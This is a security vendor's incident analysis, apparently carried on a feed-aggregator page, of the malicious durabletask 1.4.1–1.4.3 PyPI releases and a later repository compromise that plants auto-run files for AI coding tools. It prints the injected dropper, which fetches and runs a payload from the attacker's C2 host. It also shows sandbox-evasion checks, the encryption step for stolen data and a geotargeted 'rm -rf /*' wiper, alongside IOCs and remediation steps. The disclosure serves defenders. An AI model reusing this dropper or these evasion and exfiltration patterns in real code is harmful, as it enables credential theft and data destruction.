惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

量子位
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
F
Fortinet All Blogs
博客园 - 聂微东
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Hugging Face - Blog
Hugging Face - Blog
V
Visual Studio Blog
小众软件
小众软件
有赞技术团队
有赞技术团队
雷峰网
雷峰网
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
AWS News Blog
AWS News Blog
C
Cisco Blogs
美团技术团队
T
Threat Research - Cisco Blogs
C
CERT Recently Published Vulnerability Notes
人人都是产品经理
人人都是产品经理
宝玉的分享
宝玉的分享
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
酷 壳 – CoolShell
酷 壳 – CoolShell
Stack Overflow Blog
Stack Overflow Blog
W
WeLiveSecurity
D
DataBreaches.Net
博客园 - 司徒正美
Blog — PlanetScale
Blog — PlanetScale
IT之家
IT之家
云风的 BLOG
云风的 BLOG
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Simon Willison's Weblog
Simon Willison's Weblog
Google DeepMind News
Google DeepMind News
T
The Blog of Author Tim Ferriss
Know Your Adversary
Know Your Adversary
NISL@THU
NISL@THU
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The Cloudflare Blog
Vercel News
Vercel News
月光博客
月光博客
T
Tailwind CSS Blog
H
Help Net Security
aimingoo的专栏
aimingoo的专栏
P
Proofpoint News Feed
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Spread Privacy
Spread Privacy
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Cisco Talos Blog
Cisco Talos Blog
Microsoft Security Blog
Microsoft Security Blog
V
V2EX
WordPress大学
WordPress大学
Cyberwarzone
Cyberwarzone
Recent Announcements
Recent Announcements

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
Microsoft's durabletask PyPI Package Compromised in Supply Chain Attack - StepSecurity
2026-05-20 · via Step Security Blog

Update - June 5, 2026: Azure/durabletask GitHub Repository Compromised Again

For a detailed technical analysis, see our blog post: Miasma Worm Hits Microsoft Again: Azure Functions Action and 72 Other Repositories Disabled After Supply Chain Attack Targeting AI Coding Agents.

The Azure/durabletask GitHub repository has been compromised a second time. On June 5, a malicious commit (5f456b8) was pushed to the repository by the same contributor account whose credentials were used in the May 19 PyPI attack. The commit message ("Switched DataConverter to OrchestrationContext [skip ci]") is a decoy and no legitimate code was changed.

Instead, the commit plants five files that silently execute a 4.6 MB obfuscated credential-harvesting payload when a developer opens the repository in any of four AI coding tools:

  • .claude/settings.json - triggers on Claude Code session start
  • .gemini/settings.json - triggers on Gemini CLI session start
  • .cursor/rules/setup.mdc - auto-applied Cursor AI rule that tricks the agent into running the payload
  • .vscode/tasks.json - triggers on VS Code folder open
  • .github/setup.js - the actual malware (triple-layered obfuscation: ROT cipher, AES-128-GCM, JavaScript string table mangling)

A broader set of Azure repositories is currently disabled, including core Azure Functions runtime and language worker projects:

This is part of the broader Miasma worm campaign that has now infected many repositories including several Microsoft and Azure repositories. The fact that the same contributor account was used in both the May 19 PyPI attack and this June 5 repository injection indicates that the compromised credentials were either not fully rotated after the original incident, or the contributor was re-compromised through the Miasma worm's self-propagation. GitHub has blocked the repository for TOS violations as of June 5.

If you cloned or opened this repository in VS Code, Claude Code, Cursor, or Gemini CLI after this commit, treat your system as compromised and rotate all credentials immediately.

On May 19, 2026, Microsoft's durabletask Python SDK was compromised on PyPI. The package, which serves as the official SDK for Azure Durable Functions and is downloaded over 400,000 times per month, had three malicious versions (1.4.1, 1.4.2, and 1.4.3) uploaded directly to PyPI within a 35-minute window. None of these versions have corresponding tags, releases, or CI/CD runs in Microsoft's GitHub repository. The attacker compromised the real publishing credentials for an official Microsoft package and bypassed the repository's build pipeline entirely. Microsoft has since confirmed the compromise and yanked the affected versions.

What makes this incident particularly dangerous is the payload. The 14 lines of injected Python code are just the tip of the iceberg. They serve as a dropper for rope.pyz, a modular cloud intrusion framework with 17 source files and dedicated collectors for every major cloud provider. The framework steals secrets, exfiltrates them through multiple redundant channels (including creating public GitHub repos using your own stolen tokens), installs persistence via fake systemd services, and propagates to other machines through AWS SSM and Kubernetes kubectl exec. For systems in specific geographies, it rolls the dice on a destructive wiper that executes rm -rf /*.

The secondary C2 domain t.m-kosche[.]com directly ties this attack to TeamPCP's Mini Shai-Hulud campaign, the same threat group behind the recent TanStack, Mistral AI, LiteLLM, and @antv compromises. The durabletask package marks yet another victim in what has become one of the most prolific supply chain attack campaigns of 2026.

Affected Versions

  • 1.4.1
  • 1.4.2
  • 1.4.3

If you use durabletask, run pip show durabletask immediately. If your version is 1.4.1, 1.4.2, or 1.4.3, treat that system as compromised. Pin to version 1.4.0 and begin your incident response process.

Runtime Analysis with Harden-Runner

We installed the compromised durabletask package in a GitHub Actions workflow protected by Harden-Runner to observe the attack in real time. For this analysis, we disabled the StepSecurity Global block list so the payload could execute fully and we could capture the complete attack chain. In a default Harden-Runner deployment, the outbound call to the C2 domain check.git-service.com would be blocked automatically, terminating the workflow run before the payload can download or exfiltrate any data.

You can explore the full network and process insights here:

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/26115553485

During pip install durabletask, only legitimate calls to pypi.org and files.pythonhosted.org were observed. The malicious behavior begins the moment the package is imported. At import durabletask, Harden-Runner captures outbound connections from python3.14 to check.git-service.com (the C2 domain, downloading rope.pyz), additional PyPI calls (the payload installs the cryptography package at runtime), and www.youtube.com (used as a connectivity check or decoy).

The process tree captured by Harden-Runner reveals how a single import durabletask spawns multiple managed.pyz child processes, each performing different stages of the attack:

pip install durabletask (PID 2352)
   └─ Legitimate install from PyPI

python3 -c "import durabletask" (PID 2379)
   ├─ python3 /tmp/managed.pyz (PID 2380)         # Payload instance 1
   │    └─ pip install cryptography                 # Installs crypto dependency
   ├─ python3 /tmp/managed.pyz (PID 2404)         # Payload instance 2
   │    ├─ pip install cryptography                 # Redundant install attempt
   │    ├─ systemctl --user daemon-reload           # Installs persistence
   │    ├─ kubectl version --client                 # Kubernetes recon
   │    ├─ gpg --batch --passphrase anon --decrypt  # Credential decryption
   │    ├─ gh auth token                            # GitHub token theft
   │    └─ gh auth status --show-token              # GitHub token exfiltration
   ├─ python3 /tmp/managed.pyz (PID 2430)         # Payload instance 3
   │    ├─ systemctl --user daemon-reload           # Persistence (pgsql-monitor.service)
   │    ├─ kubectl version --client                 # K8s environment check
   │    ├─ gpg --batch --passphrase anon --decrypt  # GPG credential access
   │    ├─ gh auth token                            # Token harvesting
   │    └─ gh auth status --show-token              # Token exfiltration
   └─ python3 /tmp/managed.pyz (PID 2432)         # Payload instance 4
        ├─ systemctl --user daemon-reload           # Persistence
        ├─ kubectl version --client                 # K8s recon
        ├─ gpg --batch --passphrase anon --decrypt  # GPG key decryption
        ├─ gh auth token                            # Token theft
        └─ gh auth status --show-token              # Token exfiltration

The dropper spawns four parallel managed.pyz processes, each running a different collector module. Each instance independently steals credentials via gh auth token and gpg --decrypt, installs the fake pgsql-monitor.service for persistence via systemctl, and probes for Kubernetes clusters with kubectl. The entire chain from import to credential theft completes in under 4 seconds.

How the Attack Was Carried Out

The GitHub repository's release workflow (durabletask.yml) publishes packages to PyPI using a PYPI_API_TOKEN stored in GitHub Secrets via twine upload. The workflow only triggers when a tag matching v* is pushed to the repository. No such tags were pushed on May 19. No CI/CD workflow ran. The attacker uploaded directly to PyPI, completely bypassing the repository's build pipeline.

This points to a compromised PyPI publishing token or a compromised maintainer account. Notably, the repository does not use PyPI's Trusted Publishing (OIDC), which would have prevented direct token-based uploads from outside the CI/CD pipeline.

The attacker registered the C2 domain git-service.com through NameSilo three days before the attack on May 16, 2026, with privacy protection enabled via PrivacyGuardian. A TLS certificate was issued for check.git-service.com the same day. The domain resolves to 160.119.64.3, an IP in the AFRINIC region associated with HostUS (AS7489).

The Dropper: 14 Lines That Trigger a Full Breach

The attacker replaced the Microsoft copyright header in __init__.py with this code, which runs at import time:

import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service.com/rope.pyz",
            "/tmp/managed.pyz"
        )
        with open(os.devnull, 'w') as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f, stderr=f, stdin=f,
                start_new_session=True
            )
    except:
        pass

A few things stand out here. The code only runs on Linux, which means it is targeting servers, CI/CD runners, and cloud workloads rather than developer laptops. The process is fully detached with start_new_session=True, and all I/O is routed to /dev/null. The bare except: pass ensures no error messages, no stack traces, and no log entries. The filename managed.pyz is deliberately bland.

The attacker also escalated the injection across versions, progressively infecting more files to increase the chances of triggering execution regardless of which submodule is imported first:

  • 1.4.1: __init__.py
  • 1.4.2: __init__.py, task.py
  • 1.4.3: __init__.py, task.py, entities/__init__.py, extensions/__init__.py, payload/__init__.py

The Payload: rope.pyz, a Modular Cloud Intrusion Framework

The C2 server was still live at the time of our analysis and serving the payload. We downloaded and fully reverse-engineered rope.pyz (SHA256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce). It is a 28,703-byte Python zipapp containing 17 source files organized into a modular credential theft and lateral movement framework.

Anti-Analysis and Evasion

Before running any collectors, the payload validates its environment with multiple gate checks designed to avoid sandboxes and specific geographies:

# Only run on Linux (skip developer machines)
if sys.platform not in ('linux'):
    sys.exit(1)

# Skip Russian-locale systems
lang = os.environ.get('LANG', '').split('.')[0]
if lang.lower().startswith('ru'):
    sys.exit(1)

# Skip low-CPU sandboxes
cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
    sys.exit(1)

The Russian locale exclusion is a well-known tactic used by Eastern European cybercrime groups to avoid domestic law enforcement attention. The CPU check filters out most automated analysis sandboxes, which typically allocate minimal resources. The payload also silently installs the cryptography Python package via pip if it is not already present, using the --break-system-packages flag to bypass PEP 668 protections on newer Linux distributions.

What It Steals

The framework runs seven collector modules in parallel using ThreadPoolExecutor. Here is what each one targets.

AWS (collectors/aws.py): Resolves credentials from environment variables, EC2 instance metadata (IMDSv2), and ~/.aws/credentials profiles. For each set of credentials, it enumerates Secrets Manager secrets and SSM Parameter Store values (with "WithDecryption": True to decrypt SecureString parameters) across 19 AWS regions in parallel. It also enumerates SSM-managed instances for use in lateral movement.

Azure (collectors/azure.py): Attempts four authentication methods: client secret credentials, client certificate authentication with custom JWT generation, Azure CLI token cache, and managed identity via IMDS. Once authenticated, it enumerates every subscription, every Key Vault, and every secret within each vault.

GCP (collectors/gcp.py): Reads service account JSON key files, generates JWTs manually for authentication, and falls back to the metadata server. It then dumps all secrets from Secret Manager for the discovered project.

Kubernetes (collectors/kubernetes.py): This is the most extensive collector at 483 lines. It parses kubeconfig files, handles mTLS client certificates using memfd_create() to avoid writing certificates to disk, and connects to the Kubernetes API to dump all secrets across all namespaces and contexts. If kubectl is not installed, it downloads it automatically. It then propagates to other pods.

Filesystem (collectors/filesystem.py): Reads 99 hardcoded credential file paths covering:

  • Cloud provider configs: ~/.aws/credentials, ~/.azure/accessTokens.json, ~/.config/gcloud/application_default_credentials.json
  • AI and IDE tools: Claude Desktop config, Cursor MCP config, VS Code settings, Zed settings, Codeium config, Continue config
  • All SSH keys and configs from ~/.ssh/
  • Git credentials, Docker configs, npm/PyPI/Cargo tokens
  • Infrastructure tools: Terraform state files (which often contain credentials in plaintext), Pulumi credentials, Ansible vault passwords
  • VPN configs: Tailscale state, WireGuard configurations
  • Shell histories: ~/.bash_history, ~/.zsh_history
  • All .env files recursively under the home directory
  • Docker container environment variables via the Docker socket
  • The complete os.environ dictionary

Password Managers (collectors/passwords.py): Targets 1Password, Bitwarden, pass, and gopass. It actively attempts to brute-force unlock these tools by harvesting candidate passwords from environment variables (matching patterns like *PASS*, *SECRET*, *KEY*) and from shell history entries containing bw unlock or op signin commands.

HashiCorp Vault (collectors/vault.py): Resolves tokens from VAULT_TOKEN, ~/.vault-token, AppRole login (VAULT_ROLE_ID/VAULT_SECRET_ID), and the Vault CLI. Then walks all KV mounts and reads every secret.

Encryption and Exfiltration

All stolen data is compressed with gzip, encrypted with AES-256-GCM, and the symmetric key is wrapped with RSA-OAEP using a hardcoded RSA-4096 public key. This means only the attacker, who holds the corresponding private key, can decrypt the exfiltrated data.

def _build_package(data: dict) -> dict:
    compressed = gzip.compress(json.dumps(data).encode())
    aes_key = os.urandom(32)
    iv = os.urandom(12)
    encrypted_key = rsa_oaep_encrypt_sha256(config.PUBLIC_KEY_PEM, aes_key)
    ciphertext, tag = aes_256_gcm_encrypt(aes_key, iv, compressed)
    return {
        "envelope": base64.b64encode(iv + ciphertext + tag).decode(),
        "key": base64.b64encode(encrypted_key).decode(),
    }

The exfiltration has three layers of redundancy:

  1. Primary: HTTPS POST to https://check.git-service[.]com/api/public/version
  2. Secondary: Searches GitHub for commits containing FIRESCALE beacons with RSA-signed URLs, allowing the attacker to update the C2 endpoint through public GitHub commits without modifying the payload
  3. Tertiary: Uses stolen GitHub tokens from the collected data to create public repositories with Russian folklore-themed names (BABA-YAGA, KOSCHEI, FIREBIRD, VASSILISA, RUSALKA, etc.) and uploads the encrypted data bundle there

The tertiary method is especially insidious: it uses your own stolen GitHub tokens to exfiltrate your own stolen credentials through your own GitHub account.

Lateral Movement

The framework has two propagation mechanisms:

AWS SSM propagation (collectors/propagate.py): After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile. The propagation script downloads the payload from the primary C2, falling back to the secondary domain t.m-kosche[.]com, and runs it in the background.

Kubernetes pod propagation (collectors/kubernetes.py): Lists all running pods across all namespaces using kubectl get pods, then executes a shell script in up to 5 pods via kubectl exec. The script downloads and runs rope.pyz inside each target pod. Both mechanisms use marker files (~/.cache/.sys-update-check) to avoid re-infecting the same target.

The Destructive Wiper: roulette.py

The roulette.py module checks whether the compromised system is located in specific geographies based on timezone and locale settings:

_TZ_MARKERS = ("Jerusalem", "Tel_Aviv", "Tehran")
_LOCALE_MARKERS = ("he_IL", "fa_IR")

def _is_israeli_system():
    tz = os.environ.get("TZ", "")
    if any(m in tz for m in _TZ_MARKERS):
        return True
    # ... also checks /etc/timezone, /etc/localtime, LANG, LC_A

If the system matches, the module rolls a virtual die: random.randint(1, 6). If the result is 2, it sets audio to maximum volume via PulseAudio and plays an audio file from the C2 server, then executes rm -rf /*. If the check fails or the roll lands elsewhere, it deploys persistence instead, installing a fake PostgreSQL monitoring service (pgsql-monitor.service) via systemd that will restart on every boot.

C2 Infrastructure

  • Primary Domain: check.git-service[.]com
  • Secondary Domain: t.m-kosche[.]com (known TeamPCP infrastructure)
  • IP Address: 160.119.64.3
  • ASN: AS7489 (HostUS)
  • Netname: JACK-NET (AFRINIC region)
  • Domain Registrar: NameSilo, LLC
  • Domain Created: 2026-05-16 (3 days before the attack)
  • Privacy: PrivacyGuardian.org
  • Name Servers: ns1/ns2/ns3.dnsowl.com

Connection to TeamPCP / Mini Shai-Hulud

The secondary C2 domain t.m-kosche[.]com is a known indicator of compromise from the Mini Shai-Hulud worm campaign operated by TeamPCP. This same infrastructure was used in a string of high-profile supply chain attacks in 2025-2026:

  • TanStack: 42 npm packages, CVE-2026-45321, CVSS 9.6
  • Mistral AI: npm and PyPI packages
  • Guardrails AI: PyPI packages
  • LiteLLM: PyPI packages
  • OpenSearch: npm packages
  • Telnyx: PyPI packages
  • @antv: 639 compromised versions across 323 npm packages
  • Checkmarx: VS Code extensions, Docker images, GitHub Actions

Additional indicators of TeamPCP involvement include the Russian folklore naming convention (BABA-YAGA, KOSCHEI, FIREBIRD) for exfiltration repos, the Russian locale exclusion in the anti-analysis gate, and the geopolitically targeted destructive payload.

Timeline

Timestamp (UTC) Event
Apr 8, 2026 18:49 durabletask 1.4.0 published legitimately (last clean release)
May 16, 2026 01:31 rope.pyz core modules authored
May 16, 2026 18:44 git-service.com domain registered via NameSilo
May 16, 2026 18:58 TLS certificate issued for check.git-service.com
May 19, 2026 16:19 durabletask 1.4.1 uploaded to PyPI (1 file infected)
May 19, 2026 16:49 durabletask 1.4.2 uploaded to PyPI (2 files infected)
May 19, 2026 16:54 durabletask 1.4.3 uploaded to PyPI (5 files infected)
May 19, 2026 16:47 Amazon Inspector publishes advisory MAL-2026-4174
May 19, 2026 17:54 GitHub Issue #137 filed reporting the compromise
May 19, 2026 18:04 Microsoft confirms packages yanked

Payload File Structure

Indicators of Compromise

File Hashes (SHA256)

  • durabletask-1.4.1 (wheel): 7d80b3ef74ad7992b93c31966962612e4e2ceb93e7727cdbd1d2a9af47d44ba8
  • durabletask-1.4.1 (sdist): 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2 (wheel): aeaf583e20347bf850e2fabdcd6f4982996ba023f8c2cd56bbd299cfd56516f5
  • durabletask-1.4.2 (sdist): 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3 (wheel): 877ff2531a63393c4cb9c3c86908b62d9c4fc3db971bc231c48537faae6cb3ec
  • durabletask-1.4.3 (sdist): c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz (payload): 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Network Indicators

  • Domain: check.git-service[.]com - Primary C2 / payload host
  • Domain: t.m-kosche[.]com - Secondary C2 (TeamPCP infra)
  • IP: 160.119.64.3 - C2 server
  • URL: check.git-service[.]com/rope.pyz - Payload download
  • URL: check.git-service[.]com/api/public/version - Exfiltration endpoint
  • URL: check.git-service[.]com/v1/models - Quarantine / persistence trigger

Host-Based Indicators

  • File: /tmp/managed.pyz
  • File: /usr/bin/pgmonitor.py or ~/.local/bin/pgmonitor.py
  • File: ~/.cache/.sys-update-check
  • File: ~/.cache/.sys-update-check-k8s
  • Systemd service: pgsql-monitor.service
  • Process: python3 /tmp/managed.pyz

What You Should Do

If you are running an affected version

  1. Isolate the system. Do not just uninstall the package. The payload runs as a detached process and persists via systemd.
  2. Check for payload artifacts: Look for /tmp/managed.pyz, pgsql-monitor.service, and ~/.cache/.sys-update-check
  3. Rotate all credentials accessible from that system: AWS keys, Azure service principals, GCP service accounts, Kubernetes secrets, SSH keys, GitHub tokens, database passwords, and any secrets stored in environment variables
  4. Audit cloud resources for unauthorized access using the exfiltrated credentials
  5. Check network logs for connections to check.git-service.com and t.m-kosche.com
  6. Inspect other pods/instances for signs of lateral movement

To prevent similar incidents

  • Pin package versions and verify hashes using pip install --require-hashes
  • Use PyPI Trusted Publishing (OIDC) instead of long-lived API tokens for publishing
  • Monitor for PyPI releases without matching GitHub tags in your dependency tree
  • Restrict outbound network access from CI/CD runners and production workloads
  • Use StepSecurity's OSS Package Security to detect compromised packages in your supply chain

References

This is a developing story. We are continuing to investigate and will update this post as new details emerge